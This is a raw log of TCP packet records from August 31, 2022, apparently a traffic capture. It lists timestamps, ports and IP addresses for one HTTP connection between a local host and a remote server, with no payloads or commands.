Aug 31, 2022 14:28:35.709357977 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.709414959 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.709440947 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.709513903 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.709552050 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.709563017 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.709606886 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.709664106 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.709713936 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.709714890 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.709767103 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.709815025 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.709819078 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.709867001 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.709923029 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.709924936 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.709974051 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.709989071 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.710041046 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.710095882 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.710113049 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.710191965 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.710220098 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.710258961 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.710273027 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.710299969 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.710336924 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.710376024 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.710380077 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.710429907 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.710480928 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.710484028 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.710532904 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.710581064 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.710664988 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.710719109 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.710747957 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.710788965 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.710840940 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.710870028 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.710896969 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.710935116 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.711015940 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.711052895 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.711127996 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.711170912 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.711216927 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.711242914 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.711285114 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.711338997 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.711338997 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.711380959 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.711451054 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.711509943 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.711574078 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.711595058 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.711658001 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.711695910 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.711709023 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.711769104 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.711822033 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.711874962 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.711884022 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.711951017 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.712009907 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.712014914 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.712054014 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.712090969 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.712131977 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.712155104 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.712168932 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.712177038 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.712208033 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.712248087 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.712255001 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.712274075 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.712311983 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.712349892 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.712378025 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.712415934 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.712415934 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.712433100 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.712441921 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.712480068 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.712518930 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.712555885 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.712563038 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.712595940 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.712654114 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.712668896 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.712694883 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.712702990 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.712743998 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.712779999 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.712793112 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.712816954 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.712855101 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.712869883 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.712894917 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.712917089 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.712943077 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.712976933 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.713011026 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.713037968 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.713068008 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.713103056 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.713140011 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.713174105 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.713212967 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.713251114 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.713278055 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.713304043 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.713321924 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.713367939 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.713393927 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.713419914 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.713445902 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.713470936 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.713495970 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.713534117 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.713568926 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.713598967 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.713635921 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.713670969 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.713692904 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.713717937 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.713769913 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.713794947 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.713828087 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.713876963 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.713901043 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.713912010 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.713934898 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.713956118 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.714016914 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.714059114 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.714098930 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.714128971 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.714139938 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.714147091 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.714169979 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.714199066 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.714227915 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.714252949 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.714278936 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.714303970 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.714340925 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.714410067 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.714447975 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.714463949 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.714483023 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.714509010 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.714534998 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.714560032 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.714586020 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.714612961 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.714637041 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.714663029 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.714682102 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.714709997 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.714735985 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.714756012 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.714772940 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.714793921 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.714807034 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.714834929 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.714854956 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.714875937 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.714895010 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.714915991 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.714941978 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.714979887 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.714998960 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.715042114 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.715066910 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.715101957 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.715114117 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.715142012 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.715167046 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.715219021 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.715245008 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.715270996 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.715296984 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.715322971 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.715367079 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.715385914 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.715528011 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.715568066 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.715625048 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.715651035 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.715677977 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.715704918 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.715729952 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.715755939 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.715781927 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.715807915 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.715835094 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.715859890 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.715863943 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.715889931 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.716092110 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.716121912 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.716149092 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.716173887 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.716202021 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.716605902 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.775238037 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.775404930 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.775449038 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.775490999 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.775521040 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.775563955 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.775621891 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.775648117 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.775675058 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.775691986 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.775722027 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.775762081 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.775816917 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.776364088 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.776407957 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.776479006 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.776501894 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.776555061 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.776565075 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.776639938 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.776716948 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.776767015 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.776777983 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.776837111 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.776839972 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.776880026 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.776910067 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.776941061 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.776976109 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.776993990 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.777033091 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.777311087 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.777354002 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.777416945 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.777420044 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.777491093 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.777533054 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.777548075 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.777578115 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.777620077 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.777661085 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.777673960 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.777704954 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.777748108 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.777759075 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.777792931 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.777823925 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.777831078 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.778745890 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.778788090 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.778815031 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.778836966 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.778877974 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.778942108 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.779114008 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.779159069 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.779202938 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.779223919 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.779253960 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.779258966 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.779331923 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.779392004 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.779417992 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.779504061 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.779544115 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.779666901 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.780611992 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.780654907 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.780711889 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.780726910 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.780756950 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.780797958 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.780812025 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.780843019 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.780870914 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.780901909 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.780921936 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.780946970 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.780986071 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.781019926 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.781047106 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.781471014 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.781512022 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.781548977 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.781584024 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.781604052 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.781609058 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.781682968 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.781727076 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.781738997 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.781795025 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.781836987 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.781850100 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.781882048 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.781919956 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.781963110 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.781970024 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.782008886 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.782035112 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.782061100 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.782586098 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.782627106 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.782668114 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.782687902 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.782713890 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.782766104 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.782767057 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.782795906 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.782813072 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.782830000 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.782856941 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.782886028 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.782902002 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.782921076 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.782948971 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.782964945 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.782985926 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.782993078 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.783010006 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.783567905 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.783596992 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.783624887 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.783653975 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.783663034 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.783674002 CEST	49726	80	192.168.2.4	85.209.157.230
Aug 31, 2022 14:28:35.783695936 CEST	80	49726	85.209.157.230	192.168.2.4
Aug 31, 2022 14:28:35.783724070 CEST	80	49726	85.209.157.230	192.168.2.4
